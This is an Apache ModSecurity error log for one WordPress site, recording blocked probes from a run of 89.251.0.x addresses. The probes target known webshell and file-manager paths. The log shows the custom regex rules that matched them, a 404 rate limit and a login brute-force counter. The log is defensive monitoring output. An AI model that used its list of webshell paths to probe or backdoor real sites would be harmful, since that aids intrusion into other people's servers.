[Thu Apr 23 07:24:34.198753 2026] [:error] [pid 65000:tid 65041] [client 89.251.0.114:25601] [client 89.251.0.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aelYsr6vRb9j6psK2ZaPewAAAgg"]
[Thu Apr 23 07:24:35.903791 2026] [:error] [pid 65000:tid 65040] [client 89.251.0.127:20183] [client 89.251.0.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aelYs76vRb9j6psK2ZaPoAAAAgc"]
[Thu Apr 23 07:24:46.598180 2026] [:error] [pid 65000:tid 65052] [client 89.251.0.137:47619] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aelYvr6vRb9j6psK2ZaQ1gAAAhM"]
[Thu Apr 23 07:24:47.513867 2026] [:error] [pid 42973:tid 43063] [client 89.251.0.147:46595] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aelYv26I0QqmmmLTHE3WugAAAJQ"]
[Thu Apr 23 07:24:48.140398 2026] [:error] [pid 59700:tid 59711] [client 89.251.0.127:44925] [client 89.251.0.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aelYwJXyGZJFeAIDWtlTmwAAAUk"]
[Thu Apr 23 07:24:48.762659 2026] [:error] [pid 43083:tid 43086] [client 89.251.0.137:32645] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aelYwDC5hrvNXosL83LEWwAAAME"]
[Thu Apr 23 07:24:49.371677 2026] [:error] [pid 42972:tid 43018] [client 89.251.0.128:62809] [client 89.251.0.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aelYwcOAb-3sOknsk4caJgAAAEI"]
[Thu Apr 23 07:24:49.972518 2026] [:error] [pid 42972:tid 43033] [client 89.251.0.141:58733] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aelYwcOAb-3sOknsk4caOAAAAFE"]
[Thu Apr 23 07:24:50.931345 2026] [:error] [pid 25635:tid 25648] [client 89.251.0.117:55807] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aelYwsRxv6UsgRGKB3LeRQAAAQk"]
[Thu Apr 23 07:24:52.160920 2026] [:error] [pid 64998:tid 65004] [client 89.251.0.131:30845] [client 89.251.0.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aelYxIV5EysYcTLjmwjv8AAAAcI"]
[Thu Apr 23 07:24:53.449557 2026] [:error] [pid 42972:tid 43018] [client 89.251.0.136:45747] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aelYxcOAb-3sOknsk4calAAAAEI"]
[Thu Apr 23 07:24:54.731297 2026] [:error] [pid 25635:tid 25656] [client 89.251.0.117:60789] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aelYxsRxv6UsgRGKB3LeZwAAARE"]
[Thu Apr 23 07:24:55.791110 2026] [:error] [pid 43083:tid 43094] [client 89.251.0.151:60237] [client 89.251.0.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aelYxzC5hrvNXosL83LEqQAAAMk"]
[Thu Apr 23 07:24:58.284192 2026] [:error] [pid 42971:tid 43006] [client 89.251.0.114:54999] [client 89.251.0.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aelYyjEP2_5RswrH8bGi_QAAABQ"]
[Thu Apr 23 07:24:59.258768 2026] [:error] [pid 64967:tid 64989] [client 89.251.0.148:41723] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aelYy4AV4GfOOdX8QzoOBQAAAZQ"]
[Thu Apr 23 07:25:00.659592 2026] [:error] [pid 65000:tid 65049] [client 89.251.0.126:43353] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aelYzL6vRb9j6psK2ZaSIwAAAhA"]
[Thu Apr 23 07:25:02.100990 2026] [:error] [pid 42972:tid 43018] [client 89.251.0.128:31603] [client 89.251.0.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aelYzsOAb-3sOknsk4ca_gAAAEI"]
[Thu Apr 23 07:25:04.956895 2026] [:error] [pid 43083:tid 43102] [client 89.251.0.129:57149] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aelY0DC5hrvNXosL83LE-AAAANE"]
[Thu Apr 23 07:25:06.061418 2026] [:error] [pid 64967:tid 64993] [client 89.251.0.125:36925] [client 89.251.0.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aelY0oAV4GfOOdX8QzoOTAAAAZg"]
[Thu Apr 23 07:25:07.011628 2026] [:error] [pid 25635:tid 25643] [client 89.251.0.134:22029] [client 89.251.0.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aelY08Rxv6UsgRGKB3LeuAAAAQQ"]
[Thu Apr 23 07:25:07.714384 2026] [:error] [pid 65000:tid 65031] [client 89.251.0.131:46069] [client 89.251.0.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aelY076vRb9j6psK2ZaSjwAAAgI"]
[Thu Apr 23 07:25:08.393496 2026] [:error] [pid 64967:tid 64982] [client 89.251.0.127:49701] [client 89.251.0.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aelY1IAV4GfOOdX8QzoOagAAAY0"]
[Thu Apr 23 07:25:10.674343 2026] [:error] [pid 65000:tid 65050] [client 89.251.0.132:44621] [client 89.251.0.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aelY1r6vRb9j6psK2ZaS1gAAAhE"]
[Thu Apr 23 07:25:11.858862 2026] [:error] [pid 42972:tid 43021] [client 89.251.0.132:26147] [client 89.251.0.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aelY18OAb-3sOknsk4cbywAAAEU"]
[Thu Apr 23 07:25:12.612590 2026] [:error] [pid 65000:tid 65030] [client 89.251.0.120:51803] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aelY2L6vRb9j6psK2ZaTAgAAAgE"]
[Thu Apr 23 07:25:16.803483 2026] [:error] [pid 65000:tid 65049] [client 89.251.0.135:26793] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aelY3L6vRb9j6psK2ZaTQgAAAhA"]
[Thu Apr 23 07:25:18.421071 2026] [:error] [pid 43083:tid 43104] [client 89.251.0.120:54245] [client 89.251.0.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.120, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aelY3jC5hrvNXosL83LFlgAAANM"]
[Thu Apr 23 07:25:22.912767 2026] [:error] [pid 43083:tid 43097] [client 89.251.0.120:54245] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aelY4jC5hrvNXosL83LF5gAAAMw"]
[Thu Apr 23 07:25:24.197131 2026] [:error] [pid 43083:tid 43086] [client 89.251.0.120:30665] [client 89.251.0.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.120, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aelY5DC5hrvNXosL83LGAAAAAME"]
[Thu Apr 23 07:25:25.007368 2026] [:error] [pid 43083:tid 43087] [client 89.251.0.120:30665] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aelY5TC5hrvNXosL83LGCwAAAMI"]
[Thu Apr 23 07:25:29.091301 2026] [:error] [pid 59700:tid 59723] [client 89.251.0.141:38439] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aelY6ZXyGZJFeAIDWtlVcgAAAVU"]
[Thu Apr 23 07:25:33.162475 2026] [:error] [pid 65000:tid 65053] [client 89.251.0.148:59229] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aelY7b6vRb9j6psK2ZaUKwAAAhQ"]
[Thu Apr 23 07:25:37.496729 2026] [:error] [pid 42972:tid 43033] [client 89.251.0.115:38305] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aelY8cOAb-3sOknsk4ccpwAAAFE"]
[Thu Apr 23 07:25:39.360889 2026] [:error] [pid 59700:tid 59726] [client 89.251.0.134:31719] [client 89.251.0.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.134, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aelY85XyGZJFeAIDWtlVoAAAAVg"]
[Thu Apr 23 07:25:39.703532 2026] [:error] [pid 59700:tid 59716] [client 89.251.0.134:31719] [client 89.251.0.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aelY85XyGZJFeAIDWtlVogAAAU4"]
[Thu Apr 23 07:25:40.268279 2026] [:error] [pid 64998:tid 65008] [client 89.251.0.128:48729] [client 89.251.0.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/languages/about.php"] [unique_id "aelY9IV5EysYcTLjmwjynQAAAcY"]
[Thu Apr 23 07:25:46.483465 2026] [:error] [pid 42971:tid 43000] [client 89.251.0.151:45573] [client 89.251.0.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aelY-jEP2_5RswrH8bGlfAAAAA4"]
[Thu Apr 23 07:25:48.169435 2026] [:error] [pid 65000:tid 65032] [client 89.251.0.117:34027] [client 89.251.0.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.117, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aelY_L6vRb9j6psK2ZaUvQAAAgM"]
[Thu Apr 23 07:25:49.558564 2026] [:error] [pid 65000:tid 65048] [client 89.251.0.117:34027] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aelY_b6vRb9j6psK2ZaUygAAAg8"]
[Thu Apr 23 07:25:50.855794 2026] [:error] [pid 43083:tid 43105] [client 89.251.0.135:26499] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aelY_jC5hrvNXosL83LHCgAAANQ"]
[Thu Apr 23 07:25:52.143500 2026] [:error] [pid 59700:tid 59714] [client 89.251.0.113:53595] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aelZAJXyGZJFeAIDWtlV6wAAAUw"]
[Thu Apr 23 07:25:53.789397 2026] [:error] [pid 65000:tid 65057] [client 89.251.0.139:38797] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aelZAb6vRb9j6psK2ZaVEQAAAhg"]
[Thu Apr 23 07:25:54.481416 2026] [:error] [pid 42972:tid 43035] [client 89.251.0.141:30011] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aelZAsOAb-3sOknsk4cdQwAAAFM"]
[Thu Apr 23 07:25:57.516180 2026] [:error] [pid 64998:tid 65006] [client 89.251.0.129:59937] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aelZBYV5EysYcTLjmwjzVgAAAcQ"]
[Thu Apr 23 07:25:58.562514 2026] [:error] [pid 59700:tid 59709] [client 89.251.0.115:25599] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aelZBpXyGZJFeAIDWtlWGQAAAUc"]
[Thu Apr 23 07:26:00.152491 2026] [:error] [pid 59700:tid 59712] [client 89.251.0.148:42555] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aelZCJXyGZJFeAIDWtlWTQAAAUo"]
[Thu Apr 23 07:26:01.942333 2026] [:error] [pid 65000:tid 65057] [client 89.251.0.126:43887] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aelZCb6vRb9j6psK2ZaVWgAAAhg"]
[Thu Apr 23 07:26:03.237654 2026] [:error] [pid 64967:tid 64982] [client 89.251.0.117:48755] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aelZC4AV4GfOOdX8QzoQhQAAAY0"]
[Thu Apr 23 07:26:03.852226 2026] [:error] [pid 65000:tid 65047] [client 89.251.0.141:47387] [client 89.251.0.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.well-known/wp-conflg.php"] [unique_id "aelZC76vRb9j6psK2ZaVZQAAAg4"]
[Thu Apr 23 07:26:05.463131 2026] [:error] [pid 25635:tid 25648] [client 89.251.0.123:61513] [client 89.251.0.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aelZDcRxv6UsgRGKB3LgOAAAAQk"]
[Thu Apr 23 07:26:08.409082 2026] [:error] [pid 59700:tid 59705] [client 89.251.0.123:53249] [client 89.251.0.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aelZEJXyGZJFeAIDWtlWnwAAAUM"]
